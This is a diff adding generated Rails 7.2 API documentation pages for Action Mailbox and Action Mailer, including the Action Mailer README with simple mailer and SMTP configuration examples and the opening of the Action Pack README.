+ +
+ +

Ensure that the InboundEmail is automatically scheduled for later incineration if the status has been changed to processed. The later incineration will be invoked at the time specified by the ActionMailbox.incinerate_after time using the IncinerationJob.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email/message_id_rb.html b/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email/message_id_rb.html new file mode 100644 index 0000000000..08e8f58af2 --- /dev/null +++ b/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email/message_id_rb.html @@ -0,0 +1,93 @@ +--- +title: message_id.rb +layout: default +--- +
+ + +
+
+ +
+ +

The Message-ID as specified by rfc822 is supposed to be a unique identifier for that individual email. That makes it an ideal tracking token for debugging and forensics, just like X-Request-Id does for web request.

+ +

If an inbound email does not, against the rfc822 mandate, specify a Message-ID, one will be generated using the approach from Mail::MessageIdField.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email/routable_rb.html b/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email/routable_rb.html new file mode 100644 index 0000000000..49075d1b06 --- /dev/null +++ b/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email/routable_rb.html @@ -0,0 +1,87 @@ +--- +title: routable.rb +layout: default +--- +
+ + +
+
+ +
+ +

A newly received InboundEmail will not be routed synchronously as part of ingress controller’s receival. Instead, the routing will be done asynchronously, using a RoutingJob, to ensure maximum parallel capacity.

+ +

By default, all newly created InboundEmail records that have the status of pending, which is the default, will be scheduled for automatic, deferred routing.

+ +
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email_rb.html b/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email_rb.html new file mode 100644 index 0000000000..763378650e --- /dev/null +++ b/src/7.2/files/actionmailbox/app/models/action_mailbox/inbound_email_rb.html @@ -0,0 +1,85 @@ +--- +title: inbound_email.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • mail
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/app/models/action_mailbox/record_rb.html b/src/7.2/files/actionmailbox/app/models/action_mailbox/record_rb.html new file mode 100644 index 0000000000..1757ce65a2 --- /dev/null +++ b/src/7.2/files/actionmailbox/app/models/action_mailbox/record_rb.html @@ -0,0 +1,70 @@ +--- +title: record.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/base_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/base_rb.html new file mode 100644 index 0000000000..d6cd15ce37 --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/base_rb.html @@ -0,0 +1,91 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/rescuable
  • + +
  • action_mailbox/callbacks
  • + +
  • action_mailbox/routing
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/callbacks_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/callbacks_rb.html new file mode 100644 index 0000000000..723007df2d --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/callbacks_rb.html @@ -0,0 +1,80 @@ +--- +title: callbacks.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/callbacks
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/deprecator_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/deprecator_rb.html new file mode 100644 index 0000000000..405f97ebf6 --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/deprecator_rb.html @@ -0,0 +1,72 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/engine_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/engine_rb.html new file mode 100644 index 0000000000..97a1ff7241 --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/engine_rb.html @@ -0,0 +1,97 @@ +--- +title: engine.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • rails
  • + +
  • action_controller/railtie
  • + +
  • active_job/railtie
  • + +
  • active_record/railtie
  • + +
  • active_storage/engine
  • + +
  • action_mailbox
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/gem_version_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/gem_version_rb.html new file mode 100644 index 0000000000..f241f082e0 --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/gem_version_rb.html @@ -0,0 +1,72 @@ +--- +title: gem_version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/address_equality_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/address_equality_rb.html new file mode 100644 index 0000000000..7e075da80b --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/address_equality_rb.html @@ -0,0 +1,77 @@ +--- +title: address_equality.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/address_wrapping_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/address_wrapping_rb.html new file mode 100644 index 0000000000..b1a69e86f2 --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/address_wrapping_rb.html @@ -0,0 +1,77 @@ +--- +title: address_wrapping.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/addresses_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/addresses_rb.html new file mode 100644 index 0000000000..0666f79edb --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/addresses_rb.html @@ -0,0 +1,77 @@ +--- +title: addresses.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/from_source_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/from_source_rb.html new file mode 100644 index 0000000000..fd27019a2a --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/from_source_rb.html @@ -0,0 +1,70 @@ +--- +title: from_source.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/recipients_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/recipients_rb.html new file mode 100644 index 0000000000..bab4cfbcac --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext/recipients_rb.html @@ -0,0 +1,77 @@ +--- +title: recipients.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext_rb.html new file mode 100644 index 0000000000..4f3f0dfe81 --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/mail_ext_rb.html @@ -0,0 +1,65 @@ +--- +title: mail_ext.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • mail
  • + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/relayer_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/relayer_rb.html new file mode 100644 index 0000000000..c7983b7283 --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/relayer_rb.html @@ -0,0 +1,93 @@ +--- +title: relayer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_mailbox/version
  • + +
  • net/http
  • + +
  • uri
  • + +
  • openssl
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/router/route_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/router/route_rb.html new file mode 100644 index 0000000000..a2e021749f --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/router/route_rb.html @@ -0,0 +1,79 @@ +--- +title: route.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/router_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/router_rb.html new file mode 100644 index 0000000000..b2b3fddd4c --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/router_rb.html @@ -0,0 +1,87 @@ +--- +title: router.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_mailbox/router/route
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/routing_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/routing_rb.html new file mode 100644 index 0000000000..750df77800 --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/routing_rb.html @@ -0,0 +1,72 @@ +--- +title: routing.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/test_case_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/test_case_rb.html new file mode 100644 index 0000000000..f59688ca14 --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/test_case_rb.html @@ -0,0 +1,87 @@ +--- +title: test_case.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • action_mailbox/test_helper
  • + +
  • active_support/test_case
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/test_helper_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/test_helper_rb.html new file mode 100644 index 0000000000..dd3af803d8 --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/test_helper_rb.html @@ -0,0 +1,80 @@ +--- +title: test_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • mail
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox/version_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox/version_rb.html new file mode 100644 index 0000000000..88f0fd3614 --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox/version_rb.html @@ -0,0 +1,70 @@ +--- +title: version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailbox/lib/action_mailbox_rb.html b/src/7.2/files/actionmailbox/lib/action_mailbox_rb.html new file mode 100644 index 0000000000..c083409d37 --- /dev/null +++ b/src/7.2/files/actionmailbox/lib/action_mailbox_rb.html @@ -0,0 +1,88 @@ +--- +title: action_mailbox.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support
  • + +
  • active_support/rails
  • + +
  • active_support/core_ext/numeric/time
  • + +
  • action_mailbox/version
  • + +
  • action_mailbox/deprecator
  • + +
  • action_mailbox/mail_ext
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/README_rdoc.html b/src/7.2/files/actionmailer/README_rdoc.html new file mode 100644 index 0000000000..275d675ab8 --- /dev/null +++ b/src/7.2/files/actionmailer/README_rdoc.html @@ -0,0 +1,194 @@ +--- +title: README.rdoc +layout: default +--- +
+ + +
+
+ +
+ +

Action Mailer – Easy email delivery and testing

+ +

Action Mailer is a framework for designing email service layers. These layers are used to consolidate code for sending out forgotten passwords, welcome wishes on signup, invoices for billing, and any other use case that requires a written notification to either a person or another system.

+ +

Action Mailer is in essence a wrapper around Action Controller and the Mail gem. It provides a way to make emails using templates in the same way that Action Controller renders views using templates.

+ +

Additionally, an Action Mailer class can be used to process incoming email, such as allowing a blog to accept new posts from an email (which could even have been sent from a phone).

+ +

You can read more about Action Mailer in the Action Mailer Basics guide.

+ +

Sending emails

+ +

The framework works by initializing any instance variables you want to be available in the email template, followed by a call to mail to deliver the email.

+ +

This can be as simple as:

+ +
class Notifier < ActionMailer::Base
+  default from: 'system@loudthinking.com'
+
+  def welcome(recipient)
+    @recipient = recipient
+    mail(to: recipient,
+         subject: "[Signed up] Welcome #{recipient}")
+  end
+end
+
+ +

The body of the email is created by using an Action View template (regular ERB) that has the instance variables that are declared in the mailer action.

+ +

So the corresponding body template for the method above could look like this:

+ +
Hello there,
+
+Mr. <%= @recipient %>
+
+Thank you for signing up!
+
+ +

If the recipient was given as β€œdavid@loudthinking.com”, the email generated would look like this:

+ +
Date: Mon, 25 Jan 2010 22:48:09 +1100
+From: system@loudthinking.com
+To: david@loudthinking.com
+Message-ID: <4b5d84f9dd6a5_7380800b81ac29578@void.loudthinking.com.mail>
+Subject: [Signed up] Welcome david@loudthinking.com
+Mime-Version: 1.0
+Content-Type: text/plain;
+      charset="US-ASCII";
+Content-Transfer-Encoding: 7bit
+
+Hello there,
+
+Mr. david@loudthinking.com
+
+Thank you for signing up!
+
+ +

In order to send mails, you simply call the method and then call deliver_now on the return value.

+ +

Calling the method returns a Mail Message object:

+ +
message = Notifier.welcome("david@loudthinking.com")   # => Returns a Mail::Message object
+message.deliver_now                                    # => delivers the email
+
+ +

Or you can just chain the methods together like:

+ +
Notifier.welcome("david@loudthinking.com").deliver_now # Creates the email and sends it immediately
+
+ +

Setting defaults

+ +

It is possible to set default values that will be used in every method in your Action Mailer class. To implement this functionality, you just call the public class method default which you get for free from ActionMailer::Base. This method accepts a Hash as the parameter. You can use any of the headers, email messages have, like :from as the key. You can also pass in a string as the key, like β€œContent-Type”, but Action Mailer does this out of the box for you, so you won’t need to worry about that. Finally, it is also possible to pass in a Proc that will get evaluated when it is needed.

+ +

Note that every value you set with this method will get overwritten if you use the same key in your mailer method.

+ +

Example:

+ +
class AuthenticationMailer < ActionMailer::Base
+  default from: "awesome@application.com", subject: Proc.new { "E-mail was generated at #{Time.now}" }
+  .....
+end
+
+ +

Configuration

+ +

The Base class has the full list of configuration options. Here’s an example:

+ +
ActionMailer::Base.smtp_settings = {
+  address:        'smtp.yourserver.com', # default: localhost
+  port:           '25',                  # default: 25
+  user_name:      'user',
+  password:       'pass',
+  authentication: :plain                 # :plain, :login or :cram_md5
+}
+
+ +

Download and installation

+ +

The latest version of Action Mailer can be installed with RubyGems:

+ +
$ gem install actionmailer
+
+ +

Source code can be downloaded as part of the Rails project on GitHub:

+ + +

License

+ +

Action Mailer is released under the MIT license:

+ + +

Support

+ +

API documentation is at

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

Feature requests should be discussed on the rails-core mailing list here:

+ + +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/base_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/base_rb.html new file mode 100644 index 0000000000..1f3e7ad92c --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/base_rb.html @@ -0,0 +1,105 @@ +--- +title: base.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • mail
  • + +
  • action_mailer/collector
  • + +
  • active_support/core_ext/string/inflections
  • + +
  • active_support/core_ext/hash/except
  • + +
  • active_support/core_ext/module/anonymous
  • + +
  • action_mailer/log_subscriber
  • + +
  • action_mailer/rescuable
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/callbacks_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/callbacks_rb.html new file mode 100644 index 0000000000..edd028aa7c --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/callbacks_rb.html @@ -0,0 +1,74 @@ +--- +title: callbacks.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/collector_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/collector_rb.html new file mode 100644 index 0000000000..b86d32be48 --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/collector_rb.html @@ -0,0 +1,89 @@ +--- +title: collector.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • abstract_controller/collector
  • + +
  • active_support/core_ext/hash/reverse_merge
  • + +
  • active_support/core_ext/array/extract_options
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/delivery_methods_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/delivery_methods_rb.html new file mode 100644 index 0000000000..51a0d5fccc --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/delivery_methods_rb.html @@ -0,0 +1,84 @@ +--- +title: delivery_methods.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • tmpdir
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/deprecator_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/deprecator_rb.html new file mode 100644 index 0000000000..bb3a802b06 --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/deprecator_rb.html @@ -0,0 +1,72 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/form_builder_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/form_builder_rb.html new file mode 100644 index 0000000000..b040355ef4 --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/form_builder_rb.html @@ -0,0 +1,74 @@ +--- +title: form_builder.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/gem_version_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/gem_version_rb.html new file mode 100644 index 0000000000..27e25ed773 --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/gem_version_rb.html @@ -0,0 +1,72 @@ +--- +title: gem_version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/inline_preview_interceptor_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/inline_preview_interceptor_rb.html new file mode 100644 index 0000000000..1e4f984c09 --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/inline_preview_interceptor_rb.html @@ -0,0 +1,85 @@ +--- +title: inline_preview_interceptor.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • base64
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/log_subscriber_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/log_subscriber_rb.html new file mode 100644 index 0000000000..8ecf51d553 --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/log_subscriber_rb.html @@ -0,0 +1,85 @@ +--- +title: log_subscriber.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/log_subscriber
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/mail_delivery_job_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/mail_delivery_job_rb.html new file mode 100644 index 0000000000..d2d1759d5d --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/mail_delivery_job_rb.html @@ -0,0 +1,78 @@ +--- +title: mail_delivery_job.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_job
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/mail_helper_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/mail_helper_rb.html new file mode 100644 index 0000000000..bde2df5ccd --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/mail_helper_rb.html @@ -0,0 +1,72 @@ +--- +title: mail_helper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/message_delivery_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/message_delivery_rb.html new file mode 100644 index 0000000000..77487a682e --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/message_delivery_rb.html @@ -0,0 +1,85 @@ +--- +title: message_delivery.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • delegate
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/parameterized_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/parameterized_rb.html new file mode 100644 index 0000000000..6a69b8fff7 --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/parameterized_rb.html @@ -0,0 +1,74 @@ +--- +title: parameterized.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/preview_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/preview_rb.html new file mode 100644 index 0000000000..538286a3eb --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/preview_rb.html @@ -0,0 +1,89 @@ +--- +title: preview.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/descendants_tracker
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/queued_delivery_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/queued_delivery_rb.html new file mode 100644 index 0000000000..735a58034c --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/queued_delivery_rb.html @@ -0,0 +1,72 @@ +--- +title: queued_delivery.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/railtie_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/railtie_rb.html new file mode 100644 index 0000000000..fdb19cf013 --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/railtie_rb.html @@ -0,0 +1,86 @@ +--- +title: railtie.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_job/railtie
  • + +
  • action_mailer
  • + +
  • rails
  • + +
  • abstract_controller/railties/routes_helpers
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/rescuable_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/rescuable_rb.html new file mode 100644 index 0000000000..045bf864de --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/rescuable_rb.html @@ -0,0 +1,72 @@ +--- +title: rescuable.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/test_case_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/test_case_rb.html new file mode 100644 index 0000000000..9f2d02b43c --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/test_case_rb.html @@ -0,0 +1,97 @@ +--- +title: test_case.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/test_case
  • + +
  • rails-dom-testing
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/test_helper_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/test_helper_rb.html new file mode 100644 index 0000000000..ca74621741 --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/test_helper_rb.html @@ -0,0 +1,86 @@ +--- +title: test_helper.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/array/extract_options
  • + +
  • active_job
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer/version_rb.html b/src/7.2/files/actionmailer/lib/action_mailer/version_rb.html new file mode 100644 index 0000000000..7afec232a2 --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer/version_rb.html @@ -0,0 +1,70 @@ +--- +title: version.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionmailer/lib/action_mailer_rb.html b/src/7.2/files/actionmailer/lib/action_mailer_rb.html new file mode 100644 index 0000000000..82826d73df --- /dev/null +++ b/src/7.2/files/actionmailer/lib/action_mailer_rb.html @@ -0,0 +1,100 @@ +--- +title: action_mailer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • abstract_controller
  • + +
  • action_mailer/version
  • + +
  • action_mailer/deprecator
  • + +
  • active_support
  • + +
  • active_support/rails
  • + +
  • active_support/core_ext/class
  • + +
  • active_support/core_ext/module/attr_internal
  • + +
  • active_support/core_ext/string/inflections
  • + +
  • active_support/lazy_load_hooks
  • + +
  • mail
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/actionpack/README_rdoc.html b/src/7.2/files/actionpack/README_rdoc.html new file mode 100644 index 0000000000..be8d4cdfb9 --- /dev/null +++ b/src/7.2/files/actionpack/README_rdoc.html @@ -0,0 +1,112 @@ +--- +title: README.rdoc +layout: default +--- +
+ + +
+
+ +
+ +

Action Pack – From request to response

+ +

Action Pack is a framework for handling and responding to web requests. It provides mechanisms for routing (mapping request URLs to actions), defining controllers that implement actions, and generating responses. In short, Action Pack provides the controller layer in the MVC paradigm.

+ +

It consists of several modules:

+
  • +

    Action Dispatch, which parses information about the web request, handles routing as defined by the user, and does advanced processing related to HTTP such as MIME-type negotiation, decoding parameters in POST, PATCH, or PUT bodies, handling HTTP caching logic, cookies and sessions.

    +
  • +

    Action Controller, which provides a base controller class that can be subclassed to implement filters and actions to handle requests. The result of an action is typically content generated from views.

    +
+ +

